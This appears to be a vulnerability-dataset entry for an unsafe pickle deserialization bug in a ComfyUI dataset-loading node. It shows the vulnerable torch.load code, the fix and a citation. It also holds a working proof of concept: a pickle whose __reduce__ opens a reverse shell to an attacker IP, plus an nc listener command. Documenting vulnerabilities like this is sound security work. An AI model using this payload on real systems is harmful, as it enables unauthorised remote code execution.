CVE-2026-68771

Unauthenticated RCE in ComfyUI via unsafe deserialization of a pickle file.

• CVSS 9.3
• 502
• Input Validation and Sanitization
• Remote

ComfyUI v0.23.0 contains an unsafe deserialization vulnerability in the LoadTrainingDataset node that allows unauthenticated remote attackers to execute arbitrary Python code by uploading a crafted pickle file and triggering its deserialization. Attackers can upload a malicious shard_*.pkl file via the unauthenticated POST /upload/image endpoint and then queue a workflow graph via POST /prompt referencing the uploaded file, causing torch.load to deserialize the attacker-controlled pickle payload using __reduce__ and execute arbitrary commands as the ComfyUI process user.

CVE

CVE-2026-68771

CWE

502

CVSS base score

9.3

Published

2026-07-31

OWASP

A08 Software and Data Integrity Failures

Orthogonal defect classification

Timing/Serialization

Code defect classification

Serialization Issues

Category

Input Validation and Sanitization

Subcategory

Insecure Parsing or Deserialization

Accessibility scope

Remote

Impact

Arbitrary Code Execution

Affected component

ComfyUI

Solution

Upgrade to ComfyUI version 0.24.0 or later.

import torch
import os
import glob

class LoadTrainingDataset:
    """
    A node that loads a sharded training dataset from pickle files.
    """
    @classmethod
    def INPUT_TYPES(s):
        return {"required": {"path": ("STRING", {"default": "path/to/dataset"})}}

    RETURN_TYPES = ("*",)
    FUNCTION = "load"
    CATEGORY = "training"

    def load(self, path):
        shard_files = sorted(glob.glob(os.path.join(path, "shard_*.pkl")))
        if not shard_files:
            raise FileNotFoundError(f"No dataset shards found in {path}")

        loaded_data = []
        for shard_file in shard_files:
            with open(shard_file, 'rb') as f:
                # VULNERABLE: Deserializing a user-provided pickle file with torch.load can execute arbitrary code.
                data = torch.load(f)
                loaded_data.append(data)

        return (loaded_data,)

import torch
import os
import glob

class LoadTrainingDataset:
    """
    A node that loads a sharded training dataset from pickle files.
    """
    @classmethod
    def INPUT_TYPES(s):
        return {"required": {"path": ("STRING", {"default": "path/to/dataset"})}}

    RETURN_TYPES = ("*",)
    FUNCTION = "load"
    CATEGORY = "training"

    def load(self, path):
        shard_files = sorted(glob.glob(os.path.join(path, "shard_*.pkl")))
        if not shard_files:
            raise FileNotFoundError(f"No dataset shards found in {path}")

        loaded_data = []
        for shard_file in shard_files:
            with open(shard_file, 'rb') as f:
                # FIX: The weights_only=True parameter restricts deserialization to safe tensor and storage types, preventing code execution.
                data = torch.load(f, weights_only=True)
                loaded_data.append(data)

        return (loaded_data,)

import pickle
import os

# --- Configuration ---
# Replace with the attacker's IP address and a port to listen on.
# On the attacker machine, start a listener: nc -lvnp 4444
ATTACKER_IP = "10.0.0.1"
ATTACKER_PORT = 4444
# ---------------------

class Exploit:
    def __reduce__(self):
        # This command creates a reverse shell to the attacker's machine.
        # It is executed when the pickle file is deserialized by torch.load.
        cmd = f"python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{ATTACKER_IP}\",{ATTACKER_PORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'"
        return (os.system, (cmd,))

# Create the malicious pickle file.
# The filename must start with "shard_" to be recognized by the LoadTrainingDataset node.
filename = "shard_malicious.pkl"
with open(filename, "wb") as f:
    pickle.dump(Exploit(), f)

@misc{vaitp:cve202668771,
  title        = {{Unauthenticated RCE in ComfyUI via unsafe deserialization of a pickle file.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-68771},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-68771/}}
}